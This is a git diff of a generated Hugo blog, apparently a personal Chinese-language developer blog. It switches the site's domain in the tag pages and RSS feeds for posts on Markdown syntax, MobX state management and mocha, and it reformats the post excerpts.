href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>Markdown</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Markdown基础语法笔记</h2></header><div class=entry-content><p>Markdown是一个标记语言，常用于编写文档
 标题
 一级标题 二级标题 三级标题 四级标题 五级标题 六级标题 分别对别h1到h6
 段落
@@ -24,7 +24,7 @@
 表格
 xxx xxx yyy yyy yyy yyy :-表示左对齐，-:表示右对齐，:-:表示居中对齐
 转义
-*</p></div><footer class=entry-footer><span title='2021-08-18 16:50:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Markdown基础语法笔记" href=https://xiaochenabc123.github.io/posts/88/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+*</p></div><footer class=entry-footer><span title='2021-08-18 16:50:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Markdown基础语法笔记" href=https://chenjunlinabc.github.io/posts/88/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/markdown/index.xml b/tags/markdown/index.xml
index e0146fd1..10345634 100644
--- a/tags/markdown/index.xml
+++ b/tags/markdown/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>Markdown on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/markdown/</link>
+    <link>https://chenjunlinabc.github.io/tags/markdown/</link>
     <description>Recent content in Markdown on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Wed, 18 Aug 2021 16:50:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/markdown/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Wed, 18 Aug 2021 16:50:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/markdown/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>Markdown基础语法笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/88/</link>
+      <link>https://chenjunlinabc.github.io/posts/88/</link>
       <pubDate>Wed, 18 Aug 2021 16:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/88/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/88/</guid>
       <description>Markdown是一个标记语言，常用于编写文档
 标题
 一级标题 二级标题 三级标题 四级标题 五级标题 六级标题 分别对别h1到h6
diff --git a/tags/markdown/page/1/index.html b/tags/markdown/page/1/index.html
index a88e7f69..c750f7db 100644
--- a/tags/markdown/page/1/index.html
+++ b/tags/markdown/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/markdown/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/markdown/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/markdown/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/markdown/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/markdown/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/markdown/"></head></html>
\ No newline at end of file
diff --git a/tags/mobx/index.html b/tags/mobx/index.html
index bc37d542..7229fd9e 100644
--- a/tags/mobx/index.html
+++ b/tags/mobx/index.html
@@ -1,34 +1,16 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Mobx | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/mobx/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/mobx/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Mobx"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/mobx/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Mobx"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>Mobx</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Mobx学习笔记</h2></header><div class=entry-content><p>Mobx是一个状态管理库（状态管理实质上就是在管理数据变化）
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Mobx | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/mobx/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/mobx/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Mobx"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/mobx/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Mobx"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>Mobx</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Mobx学习笔记</h2></header><div class=entry-content><p>Mobx是一个状态管理库（状态管理实质上就是在管理数据变化）
 Mobx通过透明的函数响应式编程使得状态管理变得简单和可扩展
 Mobx状态管理是基于观察者模式的（Mobx6.0移除了修饰器）
 安装Mobx
-npm install mobx mobx-react --save
-或者
-yarn add mobx mobx-react --save
-导入
-import {observable, autorun, computed, action, makeObservable,reaction,when} from "mobx"
-import {observer} from "mobx-react"
-注意：在严格模式中，是不允许在action之外改变状态的
+npm install mobx mobx-react --save 或者
+yarn add mobx mobx-react --save 导入
+import {observable, autorun, computed, action, makeObservable,reaction,when} from "mobx" import {observer} from "mobx-react" 注意：在严格模式中，是不允许在action之外改变状态的
 启动严格模式
-import {configure} from 'mobx'
-configure({enforceActions: true})
-observable定义可观察的状态 action修改状态（动作） computed计算值
+import {configure} from 'mobx' configure({enforceActions: true}) observable定义可观察的状态 action修改状态（动作） computed计算值
 数据变化可被观察，例如：
-let appdata = observable([1,2,3,4,5])
-console.log(appdata[1])
-appdata = observable({a:1,b:2,c:3})
-console.log(appdata.a)
-appdata.a += 1
-console.log(appdata.a)
-appdata = observable.box(100)
-console.log(appdata)
-响应式对象
+let appdata = observable([1,2,3,4,5]) console.log(appdata[1]) appdata = observable({a:1,b:2,c:3}) console.log(appdata.a) appdata.a += 1 console.log(appdata.a) appdata = observable.box(100) console.log(appdata) 响应式对象
 makeObservable（手动配置observable，action，computed）
-const store = makeObservable({ count: 666, get double(){
-return this.count * 2
-},
-increment(){
-this....</p></div><footer class=entry-footer><span title='2021-08-08 21:35:00 +0000 UTC'>2021-08-08</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Mobx学习笔记" href=https://xiaochenabc123.github.io/posts/78/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+const store = makeObservable({ count: 666, get double(){ return this.count * 2 }, increment(){ this....</p></div><footer class=entry-footer><span title='2021-08-08 21:35:00 +0000 UTC'>2021-08-08</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Mobx学习笔记" href=https://chenjunlinabc.github.io/posts/78/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/mobx/index.xml b/tags/mobx/index.xml
index cab20dda..6a34827a 100644
--- a/tags/mobx/index.xml
+++ b/tags/mobx/index.xml
@@ -2,35 +2,35 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>Mobx on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/mobx/</link>
+    <link>https://chenjunlinabc.github.io/tags/mobx/</link>
     <description>Recent content in Mobx on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Sun, 08 Aug 2021 21:35:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/mobx/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Sun, 08 Aug 2021 21:35:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/mobx/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>Mobx学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/78/</link>
+      <link>https://chenjunlinabc.github.io/posts/78/</link>
       <pubDate>Sun, 08 Aug 2021 21:35:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/78/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/78/</guid>
       <description>Mobx是一个状态管理库（状态管理实质上就是在管理数据变化）
 Mobx通过透明的函数响应式编程使得状态管理变得简单和可扩展
 Mobx状态管理是基于观察者模式的（Mobx6.0移除了修饰器）
 安装Mobx
-npm install mobx mobx-react --save
或者
-yarn add mobx mobx-react --save
导入
-import {observable, autorun, computed, action, makeObservable,reaction,when} from &amp;quot;mobx&amp;quot;
import {observer} from &amp;quot;mobx-react&amp;quot;
注意：在严格模式中，是不允许在action之外改变状态的
+npm install mobx mobx-react --save 或者
+yarn add mobx mobx-react --save 导入
+import {observable, autorun, computed, action, makeObservable,reaction,when} from &amp;quot;mobx&amp;quot; import {observer} from &amp;quot;mobx-react&amp;quot; 注意：在严格模式中，是不允许在action之外改变状态的
 启动严格模式
-import {configure} from &#39;mobx&#39;
configure({enforceActions: true})
observable定义可观察的状态 action修改状态（动作） computed计算值
+import {configure} from &#39;mobx&#39; configure({enforceActions: true}) observable定义可观察的状态 action修改状态（动作） computed计算值
 数据变化可被观察，例如：
-let appdata = observable([1,2,3,4,5])
console.log(appdata[1])
appdata = observable({a:1,b:2,c:3})
console.log(appdata.a)
appdata.a += 1
console.log(appdata.a)
appdata = observable.box(100)
console.log(appdata)
响应式对象
+let appdata = observable([1,2,3,4,5]) console.log(appdata[1]) appdata = observable({a:1,b:2,c:3}) console.log(appdata.a) appdata.a += 1 console.log(appdata.a) appdata = observable.box(100) console.log(appdata) 响应式对象
 makeObservable（手动配置observable，action，computed）
-const store = makeObservable({ count: 666, get double(){
return this.count * 2
},
increment(){
this.</description>
+const store = makeObservable({ count: 666, get double(){ return this.count * 2 }, increment(){ this.</description>
     </item>
     
   </channel>
diff --git a/tags/mobx/page/1/index.html b/tags/mobx/page/1/index.html
index 0178d630..e0dea475 100644
--- a/tags/mobx/page/1/index.html
+++ b/tags/mobx/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/mobx/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/mobx/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/mobx/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/mobx/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/mobx/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/mobx/"></head></html>
\ No newline at end of file
diff --git a/tags/mocha/index.html b/tags/mocha/index.html
index 9c581f7e..51efe45d 100644
--- a/tags/mocha/index.html
+++ b/tags/mocha/index.html
@@ -1,21 +1,10 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>mocha | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/mocha/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/mocha/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="mocha"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/mocha/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="mocha"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a 